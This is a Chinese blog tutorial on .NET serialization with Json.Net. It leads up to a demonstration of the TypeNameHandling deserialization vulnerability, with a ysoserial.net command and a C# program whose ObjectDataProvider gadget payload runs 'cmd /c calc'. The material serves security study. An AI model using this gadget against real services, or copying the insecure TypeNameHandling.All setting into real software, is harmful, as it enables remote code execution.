.NET下的序列化与反序列化(Json.Net)
前言:
本文章将介绍学习反序列化漏洞过程中的实践与思考。
参考文章:.NET高级代码审计
序列化与反序列化的原理
序列化:
序列化是将对象状态转换为可保持或传输的形式的过程.
反序列化:
序列化的补集是反序列化,后者将流转换为对象。 这两个过程一起保证能够存储和传输数据。
摘自Microsoft 官方文档
:https://docs.microsoft.com/zh-cn/dotnet/standard/serialization/
实现一个序列化:
NET中常见的数据格式以及序列化方法如下:
图片来自
:https://www.cnblogs.com/mcgrady/p/5674410.html
下面我将用Newtonsoft.Json实现一次序列化:
先定义一个类:
code:
public class Test
{
public String name;
public int age;
}
类名为Test,里面定义了两个公开变量,name和age
接下来用Newtonsoft.Json 将这对象进行序列化
Newtonsoft.Json是一个开源的net库,需要在项目引入的添加引用。
using Newtonsoft.Json;
引入完毕后,可以调用相关方法了。
这里先实例化对象,并给其中的两个变量进行赋值。 name="远海", age="18"
将对象实例化后,使用JsonConvert中的SerializeObject对实例化的对象进行序列化。
code:
string json = JsonConvert.SerializeObject(test);
由于返回结果是一个string类型的,所以也需要有一个string类型的变量来接收返回结果
这里输出序列化后的内容
运行结果:
完整代码:
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Blog_Demo
{
class Program
{
static void Main(string[] args)
{
Test test = new Test();
test.name = "yuanhai";
test.age = "18";
string json = JsonConvert.SerializeObject(test);
Console.WriteLine(json);
Console.ReadLine();
}
}
}
public class Test
{
public string name;
public string age;
}
可以通过上面的运行结果看到,类中的所有数据都被转换成了Json格式,也就是键对值的格式。其中变量名为Key,变量中的内容为Value 进行了转换。
以上就是将对象转换为Json字符串的序列化过程
那么反序列化就是将Json字符串转换为对象
实现一个反序列化:
Newtonsoft.Json 中可以使用DeserializeObject来进行反序化
反序列化是将Json字符串转换为对象,那么可以先声明一串Json格式的字符串
code:
string json = "{\"name\":\"yuanhai\",\"age\":\"18\"}";
由于C#中不能使用单引号代替双引号,所以当需要使用多个双引号的时候可以用转义符来代替
运行结果
使用DeserializeObject进行反序列化
code:
Object js = JsonConvert.DeserializeObject(json);
运行结果
就完成了一次将Json字符串转换成对象
完整代码:
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Blog_Demo
{
class Program
{
static void Main(string[] args)
{
string json = "{\"name\":\"yuanhai\",\"age\":\"18\"}";
Object js = JsonConvert.DeserializeObject(json);
Console.WriteLine(js);
Console.ReadKey();
}
}
}
反序列化漏洞:
看了上面序列化与反序列化的使用,肯定会疑惑"这不看着挺正常的么,这怎么能执行命令?"。
确实,序列化和反序列化本身是没有任何问题的,问题所在是开发者书写中调用了不安全的方法所致。
如使用DeserializeObject反序列化实现命令执行:
反序列过程就是将Json字符串转换为对象,通过创建一个新对象的方式调用JsonConvert.DeserializeObject方法实现的,传入两个参数,第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理,其中TypeNameHandling可选择的成员分为五种
默认情况下设置为TypeNameHandling.None,表示Json.NET在反序列化期间不读取或写入类型名称。具体代码可参考以下上文来自: Ivan大佬:NET高级审计
这里需要注意的是TypeNameHandling默认为None,也就是说”序列化类型时,请勿包括.NET类型名称。“,这样我们传入的类名就无法被读取或写入。
那么,只有当TypeNameHandling不为None时,传入的Json字符串中所附带类型名称才能被读取写入。这样才能触发反序列化漏洞。
实践:
这里我先用ysoserial.net 生成Payload
ysoserial.net:https://github.com/pwntester/ysoserial.net
cmd: ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
-f 类型 -g 攻击向量 -o 输出格式 -c 命令 -t 是否测试
得到Payload:
开始编写会触发反序列化漏洞的程序:
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Blog_Demo
{
class Program
{
static void Main(string[] args)
{
string json = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
Object js = JsonConvert.DeserializeObject(json,new JsonSerializerSettings {
TypeNameHandling=TypeNameHandling.All
});
Console.WriteLine(js);
Console.ReadKey();
}
}
}
这里我将TypeNameHandling 设置成了ALL(序列化时始终包含.NET类型名称)
运行结果:
成功的执行命令。
也就是说,默认情况下TypeNameHandling为None是不会造成反序列化漏洞的,只有当开发人员对其重新定义,导致TypeNameHandling不为None的时候。才会触发反序列化漏洞。
TypeNameHandling为None的运行结果
并没有执行命令,只是将内容转换成了对象。
[...]https://www.websecuritys.cn/archives/netxlh-1.html[...]